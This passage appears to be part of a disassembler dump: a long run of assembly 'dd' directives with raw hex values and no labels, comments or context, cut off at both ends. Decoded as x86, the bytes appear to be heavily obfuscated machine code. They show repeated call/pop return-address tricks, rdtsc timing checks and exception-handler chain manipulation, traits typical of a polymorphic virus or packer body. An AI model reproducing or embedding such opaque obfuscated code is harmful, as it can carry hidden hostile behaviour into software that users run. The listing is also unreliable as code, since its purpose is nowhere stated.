0FCAB93Bh, 80h, 0E95E5F00h, 9, 0BA858FB8h dd 24283B3Dh, 3C08BF0h, 4D3149BDh, 0E1BD8106h, 0D0064D29h dd 0F000007h, 2285h, 0E185FF00h, 0E8064D29h, 14h, 0AEA67CECh dd 0A9BD3E25h, 275166AEh, 5484BF0Ch, 0F7D37CEh, 0FF5F5F50h dd 4D29E1B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 8D8940F0h, 64D053Dh, 51195FFh, 0BD8B064Dh dd 64D279Dh, 5678B890h, 6A1234h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 7101F9C3h, 7FF3C99Ch dd 0E39D8D8Ch, 0E90650D5h, 0FFFFF914h, 311DB501h, 0B58B064Dh dd 64D0C45h, 95BEC18Bh, 0EB37D85Ch, 4, 85895000h, 64D32D5h dd 53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 35952947h, 8B064D11h, 4D15DDB5h, 35858D06h dd 6A064D07h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F1BC350h, 6050FABFh, 6860Fh dd 52500000h, 585A310Fh, 0FE8h, 0B3351700h, 0E938B032h dd 3B7E53F4h, 0B7524C93h, 11E8h, 0C6A2DA00h, 963FECB0h dd 96839625h, 9E592AC1h, 5A5ACAACh, 24048961h, 6AFE8Bh dd 66F78A60h, 6A61CF8Bh, 0FB8B6600h, 0D826858Dh, 8B660650h dd 5C083FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 72C35343h, 5276D22Fh, 12E9h, 85E6CC00h, 0A6B8759Bh dd 8F378092h, 1E96B6AAh, 5FC6507Dh, 90F6B70Fh, 7E8h, 760B3800h dd 707E062Eh, 8E9505Eh, 1C000000h, 82457640h, 90862283h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 79C35343h dd 0BCCC3305h, 91F17AEEh, 26F18D89h, 6A064Dh, 0D6DB50Bh dd 0B0BF064Dh, 6A0E0748h, 81B58B00h, 0FF064D00h, 4D114995h dd 0AE906h, 9DDB0000h, 7CD353B7h, 4E26AA5Fh, 9A139D8Dh dd 6A0650h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0D3FF4CC3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 8DC35343h, 60CF5E93h, 8BBE071Eh, 4D3109BDh dd 5EC68106h, 0FF4DBD34h, 4D181585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 2C6832FBh dd 0ADCCD29Dh, 0BD8B0619h, 64D2D1Dh, 13E9h, 0F627EB00h dd 28E7C7F0h dd 27843010h, 0DABE4B49h, 5E86400Ch, 0D49E9h, 0E800h, 815D0000h dd 50D830EDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0F253C812h, 850153E6h, 64D2725h dd 29E1BD81h, 7D0064Dh, 860F0000h, 0ADh, 13E9h, 0B10A4500h dd 0D0077038h, 70290673h, 0ADEA0FAEh, 47429E17h, 27359D8Bh dd 0E381064Dh, 100h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 5C35242h, 544DECBEh, 0D0BFD7D1h, 0B30432Ah dd 32850FDBh, 83000000h, 50D62BBDh, 840F0006h, 6, 30E9h dd 85C7F900h, 650D62Bh, 1, 97ADC781h, 1AE93C66h, 0F000000h dd 48Eh, 60BF6600h, 2B85C738h, 650D6h, 89000000h, 4D2685B5h dd 359D8D06h, 81064D27h, 0D736B3F7h, 0FF23810Dh, 8BFFFFFEh dd 4D1B71BDh, 0DB8C6606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 86C35747h, 0E75F6FE6h, 3D706EF0h, 50AD6DBFh dd 0B104BE49h, 0C3F60020h, 6B840F04h, 53000000h, 30898D89h dd 0FF5E064Dh, 4D102D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 1D48352Ah dd 4BBEE9C5h, 903D1A8Ah, 5B83BF66h, 77BE6650h, 6A90FAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 15BEC9C3h, 0E9374A4Ah, 6, 0AFAAEEECh, 0A3E97B2Bh, 66000003h dd 69BDEE81h, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 6F8532C3h, 57F24A04h, 2E159D89h dd 70E6064Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0E3C35040h, 71E4F9AFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0D5C35646h, 0E79F403Bh, 70EFBEB0h dd 0B60F35D0h, 0C5B501D8h, 0BA064D0Eh, 6, 0F554C681h, 0C38B4F74h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D1C35545h dd 0C9B553C1h, 0AA0E771Ah, 1651BD03h, 0E8C1064Dh, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 95093788h, 64D1AC5h, 3890Fh, 8B660000h, 0E2F766F7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CCC35747h dd 8166B0E9h, 2B5537DEh, 4459BED8h, 50937195h, 73A92ABEh dd 6A9308h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 28B76CC3h, 0FFF8BF0Fh, 4D29E1B5h, 1195FF06h dd 66064D05h, 0B031A9BFh, 0CF816600h, 70E69783h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 17C35747h, 3AC00ECDh dd 810FF47Ch, 6, 2D318589h, 71E4064Dh, 16198589h, 613C064Dh dd 210830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0D3D7B2C3h, 7ADFAE80h, 2CE5BD03h dd 8D29064Dh, 64D1B51h, 6AD8B60Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C6D3C357h dd 0F29BF47h, 9E9h, 0E7A10900h, 8F98B052h, 6BAAE65h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 5F14C351h, 39C21AF2h, 0EF19BFB2h, 0C38B3C4Ch dd 27918D89h, 0E8C1064Dh, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0FD80986Bh dd 0E8E2F766h, 0Eh, 902F20D7h, 482C4580h, 0D4FC016Ah, 0B70FC6D0h dd 0D82B5FF8h, 58F88B66h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 9AC35646h, 0F1B58B26h, 2B064D1Eh, 0F880FD8h dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 6633C350h, 7B9F28Bh, 0F5000000h dd 5700C183h, 1B29B589h, 3B5F064Dh, 0D7860FD9h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 87DFC357h, 9D89CED7h, 64D29EDh, 6AD98C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0AF5FC351h, 8501BDD6h, 64D2541h, 0F04C1F6h dd 7F84h, 0EE900h, 0C1290000h, 0AE54A47Bh, 897E316Bh, 54443865h dd 102D95FFh, 8D29064Dh, 64D2BB5h, 1D85315Bh, 2B064D2Ah dd 8343DC3h, 860F0000h, 4Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0F7C35646h, 0AA5B589h, 0B523064Dh dd 64D0415h, 21E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 1253E8E6h, 0C38BC08Bh dd 6AD88Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 146BE3C3h, 817DAFCCh, 1794EDF6h, 985C757h dd 9D064D03h, 6A7944CDh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 9EE9C355h, 3084ABFCh dd 51DF0DE8h, 8B5FF18Bh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 95D85EB2h, 0EA052693h dd 0BD819D6Bh, 64D29E1h, 7D0h, 30850Fh, 0B5290000h, 64D1B05h dd 29E185FFh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 6970FAC3h, 2B399589h, 0B5FF064Dh dd 64D29E1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 83C35242h, 18E0Fh, 0FFF90000h, 4D051195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 4090FC48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 83C35545h, 271DE2AAh, 0FFB70FF8h, 605BD83h, 0F00064Dh dd 8D84h, 0FE8B6600h, 2999BD83h, 0F00064Dh, 7D84h, 2DB58900h dd 0FF064D32h, 4D060595h, 0FDB58B06h, 0B064D0Ch, 63840FC0h dd 0F000000h, 8D8DF0B7h, 64D4DE5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 8EC35040h, 797AA610h, 4F3622D3h dd 2EBF661Ah, 5B888h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 9589B5C3h, 64D0039h dd 0BD8BE1FFh, 64D2A91h, 0BD835E56h, 64D0BB5h, 0B840F00h dd 8B000006h, 4D2DF9BDh, 99BD8306h, 64D29h, 5F8840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0DDA338C3h, 0FA7EB0E8h, 14BDBD01h, 8D8D064Dh, 64D25E1h dd 0DA34BF66h, 7C8401C7h, 0FB8B44B2h, 0CFCB0181h, 0BF531499h dd 1DD19FC7h, 441C75Eh, 0CE706B34h, 10044181h, 8B31D6D7h dd 6A006AF8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0AA88C353h, 8B7D0A39h, 4D31E5B5h dd 0F1BD8906h, 8D064D0Ah, 4D25E185h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0E227B17h dd 0EBE4376Fh, 0DE89015h, 1C000000h, 26C4D8B7h, 3D560CB0h dd 2CF2713Fh dd 5EF38B66h, 60525050h, 0FD78B66h, 84h, 310F6100h, 585AF08Bh dd 91BD8B90h, 0FF064D25h, 4D0BB595h, 899D8906h, 8D064D14h dd 4D25E18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 383D79FCh, 0E86C07ECh, 0Ah, 9532F6A9h dd 366F0705h, 8B66ABF2h, 0E9605EF1h, 0Ah, 8FB6F5A6h, 0D5233E33h dd 14E9B7D5h, 0C1000000h, 0EA65C71h, 0E9B4282Bh, 0B6671CE8h dd 8D022D89h, 61F3C8B2h, 1C7h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 3EEE98C3h dd 6668F4B0h, 81CCB7BEh, 0F7DCDDEh, 441C707h, 0 dd 0A0399DBFh, 0FC00B09h, 7084h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0DC1A8CC2h dd 89407533h, 4DE58D8Dh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0CD0988C3h, 3A7FF140h dd 61B58B11h, 0B8064D05h, 5, 0EE8E1FFh, 0B1000000h, 0CC43ACADh dd 0C27DF0ACh, 0FC6D9072h, 0F0BF0F00h, 0E18D8D5Fh, 6A064D25h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 3EFCC352h, 0BD89B336h, 64D0A89h, 727C01C7h dd 6A44AAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0E176D4C3h, 97B143BFh, 0CFCB0181h, 6A1499h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 25E0F3C3h, 0AFA8EA70h, 9E9h, 99A25F00h, 0B3E6D27Fh dd 0B503A9B5h, 64D1F11h, 3C0441C7h, 6ACE7875h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0FE06C352h, 4418146h, 31D6D710h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0F3C35646h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 77D0CBC3h, 0E781B544h, 6FA93B17h, 14ED8529h, 858D064Dh dd 64D25E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 78C35545h, 9E883h, 0D5DC0000h, 0E81A00A8h, 8BC63317h dd 4D0B91BDh, 66505E06h, 89818DBFh, 14E92404h, 0FE000000h dd 8D5B445Dh, 9BBDD071h, 7FC9000Dh, 493F8582h, 0FF9F86B3h dd 4D0BB595h, 0F88B6606h, 25E18D8Dh, 6A064Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 266AA7C3h dd 0AA93998Eh, 0DA9BD8Bh, 1C7064Dh, 0 dd 441C7h, 0F000000h, 88Ah, 850F5600h, 0 dd 0FC00B5Fh, 4E84h, 0E58D8D00h, 0E8064D4Dh, 13h, 0B8A365C2h dd 433DD254h, 0B356AAAFh, 252BA125h, 8B4326A9h, 4D0A89BDh dd 5B85E06h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FF6CC357h, 3DB58BE1h dd 8D064D05h, 4D25E18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 128186CDh, 0C7F2B70Fh dd 0CA95A501h, 0CB018154h, 6A1499CFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 2D5FC355h dd 56ACCA08h, 3B73F31Dh, 32659D89h, 41C7064Dh, 5F596904h dd 0C2D681CEh, 812C47C8h, 0D7100441h, 0FA8B31D6h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 2CFAE2C3h, 98E78117h, 8D1C05CCh, 4D25E185h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 48A4AF5Dh, 0A61DDF2h, 0EBB5F681h, 8B907137h, 6A9050F1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0E99FC352h, 0Ch, 0BB4937BAh, 0C7D6A9F5h dd 86CD1F7Dh, 17AD9589h, 95FF064Dh, 64D0BB5h, 0C4CF8166h dd 0E18D8D04h, 6A064D25h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0BB2EC356h, 0A4E1CD10h dd 14A59589h, 1C7064Dh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 13C35343h dd 53F9AAC8h, 6FE4BE66h, 441C75Fh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 7CC35141h dd 840FC00Bh, 5Ah, 55BD31h, 8D8D064Dh, 64D4DE5h, 9503F860h dd 64D2B59h, 5B8F861h, 0E8000000h, 0Ch, 0F8E7D7A6h, 0CD6BBAE3h dd 0A906F31Ah, 8D9BE66h, 6AE1FF5Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 3E78C355h dd 9A1759Ah, 4D22799Dh, 0CA03F906h, 0FFF2D4E9h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0C18B7028h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 56C35747h, 5D18589h, 4EB064Dh, 0 dd 23398D89h, 0B523064Dh, 64D2D59h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0CDC35242h, 0E6A1F64h, 0CD8D3127h dd 0F064D06h, 858DF1B7h, 64D0735h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 68C35545h, 0F30216Ah, 8531E45Ch dd 64D1391h, 52505090h, 0FE960h, 3C7E0000h, 5DB623F1h dd 0DA5CD0Ch, 0D206CA5Ah, 0D4A2BF87h, 0F615957h, 12E831h dd 94E10000h, 0E3477A0Ch, 0F5896E7Bh, 5475DF2Fh, 0FEDB1059h dd 90585A5Eh, 0E115DE81h, 6A28DEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 4AC35343h, 0ED096835h, 6A006ACCh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0D516C353h, 8DF50C6Ah, 50E7AE85h, 0C5B52B06h dd 83064D28h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 3647D7C3h, 306FD9Ah, 6A905090h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 5853C350h, 0F364B41h, 883h, 0B58B5700h, 64D1FF1h dd 5E95Eh, 0D5760000h, 6A28D94Ah, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C9817FDEh dd 14745DEEh, 0BD896D47h, 64D1B45h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 7F950CC3h dd 89BC9DFEh, 4D0B9D85h, 4995FF06h, 6A064D11h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8D06C350h, 509A139Dh, 6AD3FF06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8143C356h dd 38EE8166h, 0D2E681BCh, 66610D3Eh, 0B4EADE81h, 181585FFh dd 0B58B064Dh, 64D0DA9h, 0A09E9h, 0E800h, 815D0000h, 50E7B8EDh dd 0F7BF0F06h, 29E1BD81h, 7D0064Dh, 860F0000h, 189h, 0E0F68166h dd 0E99D8BC0h, 0F064D2Dh, 0E381F6B7h, 100h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 8CC35141h, 850FDB0Bh dd 0B4h, 0EE9h, 0B8125700h, 0D52C608Dh, 0B48686B8h, 8B9B54FFh dd 4D25BDB5h, 9ABD8306h, 650E5h, 59840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 2FAB45C3h, 31EA0DB5h, 4D00B195h, 8FE906h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 77D8E0C3h, 0E9F28B66h, 7, 44413BB4h, 0C73A76CFh, 50E59A85h dd 106h, 4BD68100h, 0E97E3DE9h, 4Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 13C35242h, 0E5AA5C95h, 0E59A85C7h dd 650h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8BCAF7C3h, 4D0005B5h, 0E99D8D06h dd 6A064D2Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 8B61C351h, 4D0F75B5h, 0FF238106h dd 6AFFFFFEh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 2E04C355h, 1F830Fh, 13E80000h dd 0E4000000h, 395576D0h, 0DD8B7E23h, 42176140h, 0ED86A146h dd 8A0F8153h, 0 dd 0DB8C665Eh, 0DDBD8956h, 5E064D11h, 0F04C3F6h, 7A84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0FFA94955h, 4D102D95h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 18FB1F3Bh, 666B09BEh, 8950F78Bh, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 910797C3h dd 0FB9ABFFh, 680h, 6D858900h, 0E9064D21h, 471h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 7EC35343h, 8BF1B4B0h dd 11E8h, 0BA334B00h, 79B958DBh, 0A4920250h, 0C08B630Dh dd 0F5E5011h, 58Eh, 8F44BE00h, 0B01BE8h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 5EC35141h, 89BF017Fh dd 4D18098Dh, 9DB50B06h, 0E6064D23h, 0F5BD3170h, 0E4064D0Bh dd 0B59D2971h, 66064D23h, 0F662F681h, 8BD8B60Fh, 4D2AF1B5h dd 9D895606h, 64D06C1h, 6BA5Eh, 890F0000h, 0Bh, 558D8B60h dd 66064D15h, 8B61CB8Bh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 653F91C7h, 31E2E95Eh dd 4D2CB5BDh, 6880F06h, 89000000h, 4D0B3585h, 4E8C106h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0AFC35343h dd 66EDFC08h, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 31DCB8C3h, 4D1B79B5h, 4DB58B06h dd 2B064D23h, 0E9B58BD8h, 93064D2Bh, 5050F18Bh, 0BE952h dd 0B7330000h, 0A0E0C819h, 0DA91C8E0h, 60310F75h, 4BB0D98Bh dd 93585A61h, 29F1B70Fh, 4D25EDB5h, 0E1B5FF06h, 53064D29h dd 332DB58Bh, 0FF5E064Dh, 4D051195h, 0BDB52906h, 0B0064D25h dd 0F7B70F00h, 953170E6h, 64D06C1h, 0F38B71E4h, 830F613Ch dd 2DDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0F4C35343h, 55721971h, 2915695Dh, 4D22658Dh, 29952906h dd 0F064D2Dh, 8B60D8B6h, 4D1B5DBDh, 6BA6106h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 3906C353h, 90F0693Eh, 6AC38BF5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 5880C353h, 2D76F864h, 740744B9h, 6604E8C1h, 663EF7BEh dd 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 204663C3h, 0DA59D31h, 0D82B064Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EEC35747h, 74C66E2Eh dd 67F79287h, 21BE6656h, 0B58B5E80h, 64D303Dh, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 71AA30D6h, 0F3EAF77h, 14E9F0BFh, 3000000h, 0DE2BAC8h dd 7D3364E1h, 18AA5153h, 0C9F2FC77h, 2B56F1F9h, 0AE880FD8h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 2D74C356h, 67D4613Fh, 41BE667Eh dd 7B954h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8529FEC3h, 64D1EB9h, 3100C183h dd 4D1529BDh, 0FD93B06h, 15086h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0CE9C9h, 0E8120000h dd 0C9F734DFh, 8C310934h, 8C667BB3h, 50006AD9h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 8AA1622Fh dd 89628704h, 4D0B6D95h, 4C1F606h, 0E9840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0BEB273C3h, 2BCE8166h, 73DE812Ch, 0FF26B19Dh, 4D102D95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0E1BCF584h, 0F424DC85h, 0AE92Ch, 0AF10000h dd 7EFA84A5h, 66BD3D1Ch, 1169B58Bh, 0E95B064Dh, 9, 75D697CEh dd 0C59AAE95h, 599D8920h, 2B064D23h, 52006AC3h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0EFBF5DFBh dd 5885250Fh, 0F08B66B3h, 8343Dh, 38860F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 4FA0C355h, 713E9164h, 2B0D9589h, 12E9064Dh dd 0BE000000h, 0C317D40h, 0DF816660h, 8B610BDFh, 6CBE66C0h dd 8BC38B55h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 2A70E526h, 9E064E62h, 14B9BD89h dd 85C7064Dh, 64D2735h, 73202759h, 0BD81C08Bh, 64D29E1h dd 7D0h, 29850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0D72FBDC3h, 0FFF18B66h dd 4D29E185h, 0FFF08B06h, 4D29E1B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8B6660AEh dd 0D0B70FD9h, 1195FF61h, 66064D05h, 8B90F28Bh, 55006AD8h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0A94A45EEh, 0BD83E83Dh, 64D21A5h, 1E840F00h, 0F000000h dd 78Fh, 81665600h, 5E5636E6h, 235E9h, 7E900h, 77760000h dd 6935551Ah, 6ADF8CFDh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0BFD0C356h, 0E380FE38h dd 0BD090182h, 64D2191h, 2AB5B58Bh, 0F766064Dh, 0F0004C7h dd 1ED85h, 75B50300h, 2B064D0Eh, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 7B50C8E9h dd 0F8C27545h, 0F13C9D8Dh, 0B58B0650h, 64D2001h, 50F78B93h dd 0BF525060h, 7E63991h, 585A310Fh, 6A9361h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 6FD9ABC3h dd 35FF6408h, 0 dd 81BD89FCh, 64064D24h, 2589h, 0B5030000h, 64D1775h, 6AC48Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0EE97EC3h, 64000000h, 31A8ECABh, 0BE54741Dh, 8B59B12Dh dd 0ABE68116h, 0CD71D4FFh, 6A00EB01h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F6EFC350h dd 0DB8C5928h, 0FA80BFAh, 282h, 6AF08B00h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3AFDC353h dd 0C3B96297h, 896A0238h, 4D31D195h, 0A8E68106h, 645D2446h dd 58Fh, 0B70F0000h, 4C483F7h, 1B058589h, 9D89064Dh, 64D0FFDh dd 840FC00Bh, 0B2h, 9E9h, 16EF9000h, 0EB53CF47h, 0BD8DBAAAh dd 64D4DE5h, 15E59D31h, 6EBE064Dh, 0B82B1DB5h, 5, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CCC35545h, 0B2BA78CAh dd 0B585895Fh, 0FF064D2Bh, 52006AE7h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 99295110h dd 1C7F03F4h, 8B57396Ch, 8B10245Ch, 0B883h, 40B60F00h dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C6C35141h dd 0CA2BF08Bh, 0FFF630E9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 840F5E27h dd 16h, 11E9h, 0D8241000h, 0AF8279EBh, 0CC5898D3h, 7CA6533h dd 0C18B7EAAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 98C35646h, 0FE96Ch, 64020000h, 27D09B5Ah, 6D547945h dd 0A3D09778h, 4EBB5h, 0E9000000h, 14h, 0E793845Ch, 2987D124h dd 16BA9427h, 2912EE64h, 0C34B5C04h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0B6C35747h, 513C5E6Eh, 8B6052BDh dd 4D127185h, 0DDBA6606h, 858D61ABh, 64D0735h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 6C35040h, 55A7B98Eh dd 0F6139330h, 11E9h, 0FFB04F00h, 6D382470h, 224C83D4h dd 20C07429h, 90F8B8FEh, 0F08B6650h, 0C1958990h, 6A064D06h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0C4A54AE9h, 683D291Dh, 3B73BF41h, 6A5DE6h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 43C35646h dd 0F9A102B9h, 8D5EF950h, 50F41185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 